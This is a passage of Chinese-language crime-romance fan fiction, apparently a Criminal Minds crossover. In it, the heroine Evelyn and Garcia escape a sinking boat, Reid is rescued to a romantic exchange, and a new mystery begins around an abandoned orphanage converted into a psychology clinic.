男人猛地收回手,加西亚惊呼一声捂着自己的手心。
伊芙琳刚要上前询问怎么了?
就突然感觉到……
视线有些模糊……
此刻赫里奇追着贝索斯夫人的豪车后面跑了几十步,眼睁睁的看着车快速的冲了出去,而他呼哧带喘脚步放慢实在是跑不动,直接气喘吁吁的双手撑着膝盖,刚才的运动让他的下面还带着抻到了的神经痛。中年男人脸色涨红破口大骂维多利亚和伊芙琳。还未休息直接喘着气回去找人算账。
不过在餐厅和院子里找了一圈没找到人,气的直喘气,眼睛被什么东西闪了一下。
他本就在院门口。而餐厅的院门口也只是说说罢了,实际没有任何围绕的墙体和篱笆,而是大片的草坪一路顺着下坡,就是连接沙滩的椰子林。
他往下坡走了几步捡起一个亮晶晶的戒指,是一个浅蓝色细碎的宝石拼接的一个细细的圆形戒指。
埃里克捏着戒指看了半晌,他好歹凭借着自己的能力收获了颇丰的财富,再加上自身也是个时尚达人,他接触不少宝石。
他轻易的就发现了这枚看着像是毫不起眼的蓝色单身戒指制作的宝石材料有些不一样。
一般用来做点缀的宝石,人工打磨切割和抛光后,颜色会更鲜艳,透明度也会更高。一些微妙的瑕疵也会在制作时去掉。
但这枚戒指上的宝石就像是刚采出来,没有经过任何加工,甚至还能看到里面细小的裂纹……
这个他也就在维多利亚.蔡斯身上见到的,还是她第四任丈夫送的,据说对方是什么地质学家还是植物学家来着?
这是伊芙琳.蔡斯的?赫里奇仔细回忆了一下,好像是恍惚看到那下三滥的死丫头右手食指上似乎套了一个戒指。
这戒指没有加工过的宝石戒指值钱,刚刚还因着伊芙琳而损失的大笔钱的赫里奇觉得晦气极了,顺手就将戒指原封不动的扔到了地上,顺带狠狠的踩了一脚。
“该死的臭丫头!别让我再见到你!”赫里奇倒是想报复,但维多利亚四个丈夫横跨各个领域,且都不是什么小人物。他想动手也得掂量自己是不是真的不想在美国混了。
该死的!
越想越生气,哪怕是蚊子腿上的肉,赫里奇还是捡了起来。
一个两个的看着倒是文弱,心倒是一个比一个狠毒。
—————————
反派死于话多,伊芙琳虽然不是反派。
她根本不知道自己什么时候被下药了。只是迷迷糊糊的脑子好像不是自己的。眼前黑色黄色交织,又感觉像是徒步走在一个长长的隧道。她不知道是在做梦还是其他。
突然耳边砰地一声巨响,伊芙琳感觉自己瞬间回过神。
剧烈摇晃的木船,驾驶舱里什么都没有,而一侧的加西亚慢了一拍睁开眼,她似乎还有些迷糊,但人已经晕晕乎乎的爬了起来。
伴随着哗啦哗啦的铁链声,伊芙琳顺势看了过去,对方脚上手上都被死死的用铁链捆绑。
而伊芙琳则是绳子。
也不知道是绳子不够用还是锁链不够用,加西亚脸上已经露出惊慌的表情,她克制自己没喊出来。
又是一阵巨响。
伊芙琳感觉到不对劲,像一只毛毛虫一样爬到门边,然后尽可能用肩膀蹭着木门想要站起来,但这显然比较费力,她用了好久才站起身看了眼外面,甲板上男人正在凿船。
他看起来似乎确实没什么力气,不是装的。
男人凿了一下,然后吃力地站在那喘气。
“他是不是想将我们淹死在海里。”
她们不知道飘到了海面上的什么位置,加西亚深吸口气,带着哭腔,“我这铁链子直直的拴在驾驶舱里。”加西亚拽着手链小心的拽了一下,尽可能不让外面的人发现。
但显然,这根链子她扯不下来,而脚踝上的铁环更是让人崩溃,这是用电锯或许能切开的程度。
在这一刻,加西亚看向只是用绳子捆绑,还能四处爬的伊芙琳,表示出了深深的羡慕。
伊芙琳蹭到她跟前,深吸口气,想说什么,可话到嘴边。想起自己的第二重身份,她又重重叹口气。
转头四处开始找能够磨断绳子的东西,可看了一圈,清理的可真干净,除了腐蚀严重的木板和船舵就……
伊芙琳后面捆着的手指摩挲着开裂的木板,有的刺比较细有的比较粗。她看了眼地上,试探的后仰将手腕上的绳子磨开,但显然,木板的刺再硬也不是尖利的利器。木板的一大片刺都被绳子磨光
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滑了……
加西亚那边哗啦哗啦的扯着自己的铁链子,越扯越心慌。两个姑娘面面相觑,一个赛一个的脸白。
等到被人发现她们失踪,船也差不多到沉到海底了……
———————
赫里奇坐在大堂的沙发上,随手将戒指扔到了桌子上,他不知道贝索斯夫人看到了什么,但肯定不是什么好东西。
他干过的事不少,即便爆出来被人唾骂也没什么,就怕有人知道了什么要报复他,他还是很珍惜自己的命。
就在他垂着头愁眉不展时,一只手从他眼皮子底下拿走了扔在桌子上的戒指,赫里奇心情本来就不好,此刻见人敢随便碰他的东西!顺着对方抬起的手一路喷火一样望过去,滚这个词都在嘴边,看到那张和几年前一样没什么变化的脸,他生生的咽了下去。
【千万不要欺负麻省理工的研究生,因为我们是玩过核武器的人,那么,准备好了吗?接下来您一个月的时间可能会非常倒霉。】
那个噩梦一般的开场白。
以及那一个月瞬间蒸发了将近一半的资产!
还不是突然蒸发,而是在你绞尽脑汁想尽办法最后只能无能狂怒,到最后眼睁睁看着自己的钱一点点消失。对于赫里奇来说,钱比他的命还要重要,一个月后结束时,他差不多被折磨掉了半条命。
为什么这么多年对贝索斯家格外上心,就是因为贝索斯一次支付的钱足以填补他那可怜的一个月消失的美金,以及他可怜的半条命。
哦上帝,赫里奇差点就想捂住自己的眼,站在那盯着戒指看的那个怪物这么多年还是长得人畜无害。
瑞德路过赫里奇本没想过搭理这个人,反正他已经报仇了。不过那桌子上的戒指倒是让他停下了脚步。
摩根也跟着停了下来,他还不知道赫里奇和瑞德之间的事,见瑞德拿着人家的戒指打量,他站在一旁没有出声。
“这个戒指不是你的。”瑞德移开盯着戒指的视线,刚想问你从哪弄到的,目光落到了紧张的赫里奇,……“你紧张什么?”
你说我为什么紧张!这人顶着一张文弱的脸,干的事可狠毒的不得了!
赫里奇内心骂了很多难听的话,脸色不太好的点了点头。“我捡的。”
摩根上前,看着瑞德手里的戒指,“怎么了?”
瑞德看着摊开的掌心里露出的蓝色戒指,他看了眼赫里奇也没说什么,手机刚要掏出来,他有些犹豫了一下。
毕竟他再迟钝也知道伊芙琳一直躲着他,甚至都不出门了。
摩根在一旁见对方手机拿出来盯着伊芙琳的手机号半晌没说话,直接替对方按了拨打。
手速之快,瑞德都没反应过来。不过电话没有接通。
打不通等晚上让加西亚还给对方,瑞德也没怎么在意,只是和摩根准备离开时,摩根的手机铃声响了起来。
摩根看了眼,是JJ打来的电话,他叹口气,“假期结束了。”不过接下来他脸越凝重起来。沉声道,“我知道了。”
摩根看向不明所以的瑞德,深吸口气,“联系不上加西亚了。”
小组成员的手机是百分之百畅通无阻,并且他们的手机上都会装着定位。
JJ接到了来自休斯顿的求助电话,刚准备通知组员临时取消假期,信息组的同事突然告知她,加西亚的定位在海上,并且突然消失。
35.第 35 章
腥咸的海风裹挟着海浪拍打着船舷,伴随着最后一声巨响,渔船在海面上剧烈摇晃。
男人力竭一般踉跄坐到了地板,他扔掉手里的东西,一个深凹的洞口,伴随着木板撕裂的声音,这一道裂痕贯穿船底。
海水并不是从里面喷射出来而是缓慢的,像是注满浴缸一般缓缓蔓延。
男人眼睛望着船舱,隔着透明的玻璃,他看到了其中一个FBI贴着玻璃激动的说着什么。
他不为所动的收回视线,慢吞吞的站起来抱着一旁的游泳圈!
直接跳进水里。
一顿输出被窗户隔断的两人,狰狞的贴着玻璃。
“碧池!”这是勉强爬起来蹲把着摇摇晃晃的船舵的加西亚。
“贱人!”这是勉强歪扭的将自己靠在窗户上的伊芙琳没忍住的国骂。
可将人骂得狗血喷头也无济于事,死变态已经抱着游泳圈跑路了,显然是准备毁尸灭迹。
伊芙琳还不知道这个男人是听到了赫里奇的话,怕她们将他抓起来,才想着一劳永逸。
伊芙琳沉着脸盯着已经游得越来越远的死变态,就在她快要挂不住时,余光突然看到了什么,视线一转,来回打量。
这船破旧的非常到位,船舱左侧加西亚脸蛋贴着的玻璃上,有一条斜长的裂纹。
加西亚第一次碰到被人绑架,看到海水一点点在船板上蔓延,四处又是汪洋大海,掉下去就直接沉底。她又急又害怕,抱着铁链子眼圈含着眼泪。
“伊芙。”
伊芙琳若有所思的看着加西亚胖胖的身子和那一团铁链子。这个长度只能让加西亚就近砸玻璃了。
而门显然对于铁链来说有些远了。
“加西亚。”伊芙琳自己也很害怕,谁不害怕,可不到海水没过头顶她还是觉得有希望。毕竟在杀了那么多人的终极大变态手里活了下来,伊芙琳虽然胆小警惕心高,但不代表她没有长进。遇到事情,她真的很长进了。
最起码,她知道努力之后肯定会有好结果。
在这种时刻,这句话深深的扎在她的心里。
伊芙琳现在脚都没碰到一丁点水渍。她现在情绪还算稳定,她想让加西亚不要慌,眼睛盯着她轻声道,“加西亚,我们得自己救自己了。”
“可是我这铁链子……”加西亚欲哭无泪。
“你抱着铁链撞玻璃试试,我去撞门。”
“我们应该能逃出去,他没拿走斧头。”
加西亚眯着眼看向窗外,她的眼镜已经被打掉,但甲板上的东西她还能模糊看个大概,船板上泛着冷光的斧头半个身子浸透在水里。她呼吸不自觉的急促起来,眼神骤然坚定的像个女战士,“伊芙,你退后!”
伊芙琳歪歪扭扭的来到一侧,见她捧着手上的铁链憋着气使劲砸了上去。也开始干活,海面上还算平静,但也有微微摇晃的感觉。
两只脚被紧紧的捆着,站稳都已经是极限,看了眼自己光裸的肩膀,上面的肉不少但也绝对不多。再看看那扇挺实诚的门,目测有可能很厚很厚。
应该挺疼的。
但是!活命更重要!
佐伊和翠丝那俩家伙估摸在假期结束后才会发现她失踪了,尸体都不知道飘到哪个城市的海滩上。
伊芙琳心肝颤,最后还是咬牙闭着眼跳着撞过去。结果加西亚哐当一声震的船舱摇晃,她一个没站稳整个人哐的撞到了坚硬的木板上…
加西亚哐哐几下砸的密集且非常用力,她像是发了狠一般咬着牙,脸都涨红了。最后一个用力,伴随着咔嚓声,一侧的一条裂纹蔓出了蜘蛛网的裂痕,她一鼓作气,抱着能拽起来的所有铁链尽可能团在手里。
“砰!”
“哗啦”
整扇玻璃碎成一片,海风呼啸着刮进了船舱,吹的加西亚头上的卷发都飞了起来。
兴奋的回头大喊“伊芙!”
伊芙琳背对着她脑袋磕在门上半晌没回应,听到加西亚的声音缓缓回头,涌进来的海风让伊芙琳清醒了片刻。她晃了晃有些晕乎乎的脑袋想要爬起来。
奇怪,撞的还挺厉害。
作为唯一没有钉死在原地的人,伊芙琳仰头冲着加西亚道“我出去拿斧头!你在这等我!”
加西亚看着伊芙琳额角的血……张嘴想说什么,就见这姑娘直接找了一块不知道装过什么东西的袋子拖了过来,扭着身子给她。
加西亚闭上嘴非常上道麻利的垫到了玻璃碴的地方。
额头上似乎有什么东西慢吞吞的流淌,有些痒痒,伊芙琳也没空在意,一个翻身翻了出去。
加西亚在身后担忧的喊着她的名字。
伊芙琳回了一句没事,但嘴巴不小心抿到了海水。
糟糕
水蔓延的越来越快了!
身后加西亚的铁链声格外鲜响。
伊芙琳的头发都漂在水里,脸不小着地,一抹红色的水从眼皮划过,她满脑子想着快一点快一点,加西亚的铁锁不知道能不能剁开,挪的更快了。
————————
一处无人区的海湾处,黄昏的阳光带着暗金色。
这里还有三艘隐藏在悬崖三角空地的破旧船只。
摩根身边跟着几名本地警察,他看着面前的几艘船。
搁浅渔船锈迹斑斑,木板边缘驳落,船身的标记也剥落的只剩下最后两个字。
“瑞德!”摩根进入船舱摸到了加西亚的草帽,而草帽下是已经渗透了大量的血液的船板,他大声喊了不远处二十米外的人。
瑞德浅色的鞋子深陷灼热的沙堆里,他看着一路拖拽到海里的痕迹,听到摩根的声音有些不对,转身快速的跑了过去。本就热的天气,后颈的汗珠顺着脊椎滑入衬衫里,青年微微泛红的脸颊在进入船舱后,见到地上的血迹,瞬间苍白,瞳孔微缩。
那一瞬间,呼吸仿佛都凝滞了。可下一秒,瑞德突然动了,他蹲下身,手指捻着船板上的血渍,浅红色透明的水痕包裹着暗红色的血渣。
摩根半晌才反应过来,松口气,不是他不专业,而是有一瞬间脑子一片空白。
一旁的警察僵硬的肩膀都放松了许多,如果FBI的人死在他们辖区。这件事就非常不好办!
但显然,人还没有找到,摩根看了眼不远处加西亚定位消失的海面。
瑞德站起身,手下意识的放进裤兜里握着那枚戒指,可指尖微微的潮湿让他下意识缩回手指。
——————————
水已经蔓延到船身一半了,加西亚站在船舱里焦急的看着伊芙琳,和伊芙琳的担忧是一样的,她害怕斧头也砍不断铁链。
水的阻力让伊芙琳磨得很费劲,但好在,斧头非常给力。
船身在海水的水压下,沉得越来越快。
伊芙琳披散着湿漉漉的头发,此刻裙子都被水托着到了膝盖,脑袋被海水打湿,疼的像是在伤口里撒了盐。
她感觉自己的眼睛发热,太她喵的疼了!
海上的风越来越大,水越来越深,靠近驾驶舱,用了比刚才还要慢的速度。让加西亚再往后,举起斧头狠狠的砸在窗户处的铁链子上,金属剧烈撞击的声音,一时间两人耳朵都发麻。
伊芙琳脸有一阵扭曲,她的肩膀!
斧头一下又一下。
还没有断。
上面只有白色的划痕!
加西亚抬起湿漉漉的脸,她哆嗦着嘴,想要说,你走吧,不要管我。
可她还没开口,就听伊芙琳喘着气然后道“这时候,别说丧气话。”
加西亚眼泪哗哗掉,“你走吧,呜呜呜,再不走咱俩都要死。”
“哎呀!”伊芙琳本来就着急,“别哭啦!真救不了你我就跑行了吧!别废话了!”
又不是傻子。
她老打断她!
就在这停顿的时候,两人一来一回,似乎,有些奇怪的声音。
声音越来越近,加西亚没办法动,伊芙琳蹚到一侧,撩开眼前的头发看向不远处。
白色的东西快速的朝着她们赶来。
伊芙琳一只手还是握着斧头,另一只手紧紧的抓着船舷,她呼吸都缓慢了,甚至是屏住呼吸的看着游艇越来越近,上面是蓝色的标识!
伊芙琳一把扔掉斧头,冲着不远处的游艇快速的挥着手,“这里!这里!”
加西亚激动的声音从船舱高昂的飘了出来,“伊芙!是有人来救咱们了吗!”
伊芙琳看着站在甲板上的一黑一白,她忍不住的咧嘴高兴的狠狠挥了挥左手,右手实在是不想抬起来,肩膀好痛。
“当然!是摩根和瑞德!是他们!”
哦上帝!
瑞德站在船头,双手紧握栏杆前倾身子,看见深陷海水的伊芙琳精神十足的挥着手,他不动声色的舒口气。
一旁的摩根抓着方向盘,还担忧的搜寻了许久,没见到加西亚的身影,他一瞬间紧张了起来。
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下一秒,声音断断续续传来,“加西亚也很好!在船舱!”
“哦,天、”摩根舒口气,“伊芙是个小天使!”
当船靠近渔船,一艘专业的海上急救人员,快速的跳进渔船里,给加西亚解开锁链。
摩根早就跳上去陪着加西亚,加西亚豪迈的哭声响彻整片海域。期间伴着摩根不得不上扬的高声安抚。
伊芙琳一边拽着漂浮的裙子,铂金色头发紧贴着苍白的脸,泡在水里时间长了也是冷的有些发抖,抓着船舷想要自己爬过去,一只温暖白皙的手贴着她的手腕,微微带着汗水的味道和洗衣粉的味道,微微一转握着伊芙琳搭在船舷上的手。
伊芙琳愣了一下,抬眼看向瑞德。他想要躲起来一样,敛着眼眸,睫毛轻颤。抿着嘴似是鼓起了勇气,看向伊芙琳,他轻声道,“别害怕,抓紧我。”
伊芙琳还是喜欢的,他的一切触碰,都让伊芙琳有一种心动的感觉。
真是大花痴。
可即便心里暗自唾弃自己。
身子却很实诚。
伊芙琳一头磕在了对方的肩膀上,身后的一名小姐姐的帮助下,被人打横抱了过去。
头发被人轻轻拨开时,伊芙琳还在看着加西亚那边的情况,专业的切割机果然神速。回过神额头上已经被人拿着面前轻轻擦拭,药水在伤口上涂抹,伊芙琳忍不住疼的偏头,“不用擦了,伤口不深自己就能好。”
伤口深不深不知道,但她疼一次就够了不想疼第二次,尤其是伤口再一次被人触碰。
不过有刚偏到一边,就被人用手指轻点了下湿漉漉的发顶,戳的很轻,带着头发的触感又很软。头顶上的声音带着试探,“我会轻一点,也很快,你再忍忍?”
伊芙琳盯着他挽起来的袖口,上面还带着水渍,她扯了扯他的袖子,见对方看向自己,她才声音很轻很轻道,“如果你想找女朋友的话,可不可以……先考虑考虑我?”
海风很大,伊芙琳的头发表面已经被吹的毛躁,她抓了抓头发,想让自己体面点。身后是加西亚咋咋唬唬的高声说话和大笑,摩根被对方狠狠压制,表示为了给加西亚压惊,回匡提科后三个月的晚餐他都包了。
而身前的人,似乎意外的没有纠结很久,他微微俯身给伊芙琳擦拭伤口时,轻轻的嗯了一声,他似乎有些不知道该说什么,贴好纱布,瑞德起身,将兜里的戒指交给伊芙琳。
“你的戒指。”
“伊芙琳。”
就在伊芙琳指尖刚触碰戒指,瑞德没有看伊芙琳而是看向不远处的海浪。“我不知道自己还能不能再喜欢一个人,我之前没和你说,只是因为这件事很复杂。”
“我喜欢过一个人,就在你失踪的前一个月,她被人一枪打穿了头……”
“我们没有见过面,我们分隔两地,我甚至没有办法陪在她身边,我们第一次见面就是她死去的那天……”
“因为我的工作,你会陷入无穷无尽的危险之中。”似乎因为再一次的拒绝,他的眼睛里带着歉意和淡淡的难过。
他似乎想起了他喜欢的人。
伊芙琳沉默,如果她没有经历过怀特父子的事,她或许还带着不服输的劲头,紧咬着喜欢的人不肯放手。
可她经历过,她知道可怕的罪犯令人防不胜防。
如果自己的喜欢或许要搭上一条命。
伊芙琳不可否认,她是害怕的。
可即便害怕,她的手却抓的越来越紧,就这么抓着他的袖子,甚至都扯了下来。
“我不能替死去的人说那不是你的错,这不是我该说的话。”
伊芙琳不知道怎么安慰他,只轻轻拉着他的袖子,执着又坚定道, “可我想说,你也救过很多人,很多很多。”
见瑞德愣在那里,像是不相信她说的话,伊芙琳急了,她拉着他的袖子转身看向看了好一会儿的加西亚,她的好朋友。“你说我说的对不对。”
“我在车上看到了你们,我就什么都不怕了,我想每一个你们救过的人和我一定有相同的想法。”
“瑞德很厉害,他很棒!你们大家都很棒!”
小姑娘车轱辘话一样,反反复复的像个啰嗦的小老太太。
加西亚捂着脸笑眯眯的看着在伊芙琳看不见的时候,瑞德白皙的脸上,突然晕红了,和天边快要落下的火红的夕阳一样。
摩根吹了个口哨,真是浪漫的夏威夷。
艾米丽和JJ等着请客吧!
36.荒废的福利院
那是一座人口稀少的小镇上唯一的一家福利院。
车子从直通山脚下的主路行驶,沿途街道两边仿佛上世纪复古的小店铺,有的年轻人三三两两勾肩搭背围着姑娘们说话,有个男孩子被同伴笨拙勾搭女孩的样子引的放声大笑。车子路过时,人们还好奇的往车里张望。
因为这条路还有不少在马路上行走、横过的路人,科里恩主任开的格外的慢,他在公路上差点被开了罚单,因为他在公路开的也很慢。
车子往前行驶,过了十分钟左右,缓缓停在一座尖顶的三层建筑前。
伊芙琳下了车,看着脚下的的沙堆,里面还有泛白的红色塑料小车。院子里杂草丛生,藤蔓的绿色植物笼罩建筑三分之二的墙壁。
裸露的部分墙体斑驳。
真是,好一个阴气森森的房子。
科里恩主任带着工人们已经进门。
每一间屋子的设施都被清理到了院子里。
有不少居民围着家具挑挑拣拣。
大部分都是陈旧的老物件,从几十年前到如今,这些东西有比在场的陪着父母来挑选的年轻人年纪还要大。
福利院里无非陈放的就是一些餐具,床之类的,唯一的娱乐设施就是院子里塌了一半的滑梯。足以证明,福利院没有得到多少善心人的捐赠导致他们很穷。
伊芙琳看了眼已经刷干了的浅黄色墙体,地板有的铺完了,有的只铺了一半。
刚准备上楼,迎面突然跑下来一个五六岁的小男孩,浅金色的短发,带着小雀斑的脸上一双棕色的眼睛。白白嫩嫩,微胖的小脸上本来带着笑,但看到伊芙琳时,瞬间惊慌的在奔跑过程中踩错了台阶,小家伙腿短,身子一歪就要团成团滚下去。伊芙琳一大步跨了三个台阶,直接拽住了孩子的后背心。
即便是抓到了,伊芙琳后背依旧冒着冷汗,“你这小家伙,”她深吸口气,缓过来将这孩子提起来吃力的抱到怀里。小家伙这时候也不怕生了,小手抱着伊芙琳的脸,咯咯的笑着道“一起玩。”
反正也没什么事,伊芙琳捏了捏他的小脸,好Q好弹,这小家伙还挺沉。她将人抱下楼,双手叉腰弯腰看着他道,“想玩什么?”
小男孩摊开小手,他一直在笑,伸着手“火,火。”
“火不能玩,”伊芙琳一看,估摸是家里人不注意被孩子摸到了打火机。直接从肉嘟嘟的小手里拿走。小家伙依旧笑着不说话,但眼睛里带着些许的困惑。
伊芙琳和这孩子解释了很多遍,火很危险不能玩,会把这里点着。但这孩子依旧笑嘻嘻的说着不不不。
“玩,玩,火漂亮!”
小家伙扒着大姐姐的腿,想要将东西要回来的样子,这时候外面传来喊声,“利比!利比!”
是一个女人的声音,而且随着声音越来越近,门口人影微动,一个扎着金色马尾辫的女人怀里抱着一岁左右咬着奶嘴的孩子,焦急的四处张望,看到伊芙琳和小男孩她才松口气。
紧接着脸色有些不太好看的上前一把拉过孩子,不顾身边还有外人,直接训斥道,“利比,不要离开妈妈的视线,为什么总是不听话!你要是再这样,爸爸妈妈不会再带你过来玩了。”
小家伙笑嘻嘻的小脸蛋落了下来,扭着小手委屈道“不要,”
“这不是你能决定的,好了,亲爱的,和你身边的小姐姐告别,我们要回家了,你爸爸还在车上等你呢。”
利比难过的走时也不忘回头看。
伊芙琳以为他在看自己,还冲他摆摆手,但摆了几下,就觉得哪里不对,她顺着利比的视线望去,楼梯下堆着废弃的建筑材料。
利比坐上车,小脑袋搭在窗户上眼巴巴的瞅着。
利比的母亲玛丽抱着小女儿刚上车就看儿子恋恋不舍的样子,实在弄不清这孩子为什么每次都对这里恋恋不舍。
———————
诊所正常开业后。
小镇的居民们一个个猎奇一般走进了心理诊所。
说是猎奇,这个用词也是非常精准。小镇偏远,这种新奇的玩意早些年也有人在附近开过,但没多久就倒闭了。原因是几十年前人们还处于战争恢复期,小镇上唯一的工厂倒闭,大部分人都没了资金来源,上面也没有多少钱帮助灾民,小镇上的人自力更生忙着重建自家倒塌的房屋,饿着肚子天天想着干活赚钱,谁没事无病呻吟的说自己心理抑郁。
那家诊所只开了两个月,就坚持不下去了。
而现在,那些老头老太太经过这么多年电视剧的熏陶,已经开始好奇心理医生是怎么判断一个人有病。
他们老一辈觉得电视里的心理医生就像是有读心术,轻而易举的知道每个人在想什么,想要做什么。
年轻人心理问题也越来越严重。
多多少少有的老人家担心自家的孩子孙子出现什么问题,一个个争先恐后的涌进福利院,这个将近十年没被人踏足过的地方。
当然除了一些喜欢探险的孩子们,这些孩子早就翻遍了整个福利院。
伊芙琳面前是一位还差一个月就到了九十三岁的爷爷。爷爷双手拄着拐杖,瘦干巴的脑袋搭在手上。
进来的第一句话就是,“你看我有什么病。”
爷爷的眼睛被耷拉下来的眼皮遮挡一半,静静地看着伊芙琳。他穿着一件老式的背带裤,头
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发灰白。就安静的看着她。
九十三岁的老人,伊芙琳手指轻点着自己的记录本上,从老人进门开始到现在为止,下意识的一些行为举止,就让伊芙琳断定,这个老人没有任何心理问题。
他们约定好的时间是早上九点半。伊芙琳当然早早的准备好,趁着人还未来她给窗台的花浇水。
花是汤恩医生从他妻子家的花圃搬来的,伊芙琳挑了一盆仙人掌。自从办公室里有了这盆仙人掌,她感觉自己勤快了不少,天天浇水。
不过有些奇怪的是,仙人掌像是缺水了一样,有一节软塌塌的。
还未到九点半,门口传来咚咚两下敲门声。
老人还未到时间赶来,没有坐在走廊等待,就证明他是一个雷厉风行并且非常有主见的人。
在这一点上,还有个明显的特征。
一般诊疗室里都会配备一把躺椅,是让患者身心放松的绝佳工具之一,但老爷爷只一句太软不舒服,我要坐椅子。
没有任何犹豫的拒绝,‘我要坐椅子’,‘我’这个字非常主动。像是发号施令且没有人会反驳的自信。
这种人,绝不是一个习惯性内耗的人,而不内耗,恰恰是这位先生心理健康的有力证据。
不在乎别人眼光,无所谓,只要自己舒服。
而第二个证据,就是这位爷爷的年龄,九十三。或许伊芙琳学艺不精看的书还是不够多?她从没见过九十三岁的老人突然得了心理疾病。
但伊芙琳不能这么说。
老爷子望着窗外,冷不丁一句,“我以前就是这个福利院的孤儿。”
伊芙琳不知道他说这个是做什么,但人家要讲,她还是要认真倾听,而且身子前倾表示出自己在听并且听的很认真。
老爷子慢吞吞的指着伊芙琳坐的位置。
“我以前就睡在这里。和我的朋友。”
“后来他不见了。”
伊芙琳点了点头。
“每隔一段时间,就会有一个人消失,四岁的五岁的,男孩女孩。”
此刻室内格外的静,窗外修剪整齐的草坪上还有附近的孩子们过来玩耍,一个不大不小的秋千热的孩子们大打出手。
金发小男孩抱着小手看着不远处和他招手的人,眯着眼笑嘻嘻的跑了过去。
伊芙琳眨了眨被阳光刺到的眼睛,老人声音越来越轻,“那些孩子……都……”
老人眼皮彻底闭上,搭在拐杖上,没一会儿,巨大的呼噜声响起,门外传来敲门声。伊芙琳打开门,不意外的看到了老人家人。
将人送走后,伊芙琳回到自己的办公桌前,整理好桌面,她突然站定。
37.第 37 章
一般来说,咨询室除了来访者和咨询师的低声交流的声音之外,基本上都是静悄悄的。
当然外界的雨声风声以及现在窗外的孩子们吵闹的声音也有,但窗户和门一关,基本上可以忽略不计。
所以,伊芙琳知道,这绝不是幻听。
只是一句离开而已,没什么大惊小怪。
她只是想着哪里传来的声音这般大,如果是隔壁,那主任可能被施工团队坑了。
将文件插进去后,伊芙琳贴着墙听了一会,墙体里没什么动静,绕了一圈听了一圈,依旧很安静。她站在进门的左手墙边,“汤恩医生?”
如果对面的人能听到,那就是隔音的问题。
不过试了好几次,还是最后伊芙琳扯着嗓子喊了一声汤恩医生,对面的人才听到。
中午两人一起在院子的树下盘腿吃午餐。
浓密的树冠遮挡住刺眼的热阳,只留下斑驳的几片细碎的金箔。
“或者是谁趴在你的窗地下恶作剧吧…”
汤恩打开盖子,露出里面的冷盘三件套,三明治,蔬菜沙拉,切成块的苹果。夫妻二人工作都比较忙,早出晚归的,现成的半成品更受这对夫妻的欢迎。
“是吗?不过那声音听着不太像小孩子……”哦对了,现在的恶作剧已经不局限于小孩子了。
前几天自己还做了一个恶作剧小鸡玩偶寄给瑞德。也不知道他成功了没有。
那个玩偶也是伊芙琳闲来无事做的,她还有小鸭恶作剧三件套,尖叫、说脏话、喷各种颜色的颜料…………
说脏话是佐伊和翠丝友情提供,中间还有提亚阿姨的plus版本。
伊芙琳咬着勺子将自己在微波炉叮过的午餐盒打开。里面四个格子,红烧肉装了两个格子,蒜蓉西兰花、米饭。也不费劲,头天晚上做好第二天直接带走。
盒子打开,热气慢吞吞的往上飘。
“成年人可比小孩子更知道什么叫恶作剧,毕竟多了不少年的经验呢。”汤恩啃着面包看了眼伊芙琳盒子里的红烧肉,他好奇的询问这是什么东西。
伊芙琳夹起来一块塞到汤恩的盒子里,对方也不问了,叉子一戳就想一口塞进嘴里,但银色的小叉子怎么进去的怎么出来,这让汤恩有一种这是果冻的错觉。
他尝试着用叉子托起来,红烧肉在叉子上摇摇晃晃的像是站不稳,肉质软烂的就像果冻一样左右摇摆。汤恩不敢再动手,非常聪明的伸脖子去咬。
“哦!”汤恩眼睛一亮,他嘴角还带着红棕色的粘稠的汤汁,眼睛睁的大大的,看着伊芙琳盒子里剩下的红烧肉,“好吃!”
油脂丰盈,软烂多汁!还带着甘甜。
汤恩和妻子一般中午带饭都是怎么简单怎么来。
汤恩深深的被这个叫红烧肉的食物种草了,一共八块,他分了四块,吃的意犹未尽。
“如果如果现在有一大盘放在我面前,我一定会全部吃光。”
汤恩又惊奇的发现一件事,“你的米饭怎么如此饱满剔透,似乎还带着油亮的光泽。”
伊芙琳警惕地看了他一眼,“这可是极品大米。这个大米整个美国都没有。”她顺道来一句“我也不会分给你。”
汤恩倒也没有沮丧,毕竟看着好吃但他还没吃到嘴里。所以他用了一份正宗西班牙海鲜顿饭的祖传的菜谱换了一份红烧肉的做法。
如此,又过了一个星期,科里恩主任这次不仅捎带伊芙琳,顺道将车子突然坏了的汤恩顺道接走。
伊芙琳第一次见到汤恩医生的妻子,对方和汤恩一起站在路边。
她穿着一条浅灰色的直筒长裙,外面搭着一件带着光泽的披肩,像是要参加什么重要场合,她拢着披肩和一旁的汤恩医生说话。汤恩医生时不时地摇头……然后再摇头……
目光一转看到他们,她见到伊芙琳的第一句话是,“我们这几天每天会做一次红烧肉,非常的美味。”
对于这件事,上车的汤恩医生做出了解答,他看了眼脸色不太好看的科里恩,咳嗽一声又摸到了后车座,和伊芙琳并排后小声道。“我们俩厨艺半斤八两,结婚多年至今靠着半成品和餐厅度日。她按照你给的方法成功的做出了红烧肉,这几天在家招呼亲朋好友还有同事委婉的炫耀。已经连续做了五天。她第一次因为厨艺被人夸赞。相信我虽然她很难搞但你成功的入了她的眼。”
科里恩在前面哼哼道“入了她的眼有什么好处?免费让伊芙琳去医院做心脏病手术。”
原来是医生啊。
汤恩知道科里恩看他俩在一起就很不顺眼,这么多年他都习惯了,于是尽可能的将自己缩在角落充当透明人,不过缩过去之前还给了伊芙琳一个精美的小袋子。
伊芙琳打开一看,拿到手里是一个漂亮的发带,是白底绣着饱满的玫瑰纹样,有一种异域风情的美感。
“那是她的朋友去保加利亚旅游时在一个手工小作坊里买到的。”
伊芙琳拿到手里就已经想到搭配什么衣服了,将东西收好,不忘认真的道谢“我很喜欢。”
汤恩笑了笑,然后拿着手机不知道做什么,手指打出残影。
车停在诊所楼下,伊芙琳率先下车,汤恩要去资料室拿东西,科里恩主任要把车停在小楼后的空地。
原小镇的居民现在是诊所的前台的艾丽早早坐在柜台后吃面包,桌子上一瓶鲜牛奶。
这姑娘每天早上标配的一个肉桂卷。
她看到伊芙琳,快速咽下面包打了个招呼,随后手一指指向伊芙琳身后,“亲爱的,有访客。”
伊芙琳刚进门都没注意到,回头看去,笑了。
沙发一堆的玩偶当中,陷进去一个胖嘟嘟的娃娃,熟悉的金色的头发、圆嘟嘟的脸以及小雀斑。
他笑嘻嘻的从玩偶堆里爬了出来,踩着小运动鞋跳下来。“姐姐。”
“利比。”伊芙琳叫了他的名字,半跪下抱着利比的小身子,她看了眼四周,询问艾丽,“他家里人呢?”
“说是两个小时后过来接人。”艾丽一口咬着面包嘟囔着“我们这里是诊所又不是幼儿园,他们真把福利院当成自己的家了。”
伊芙琳没说话。
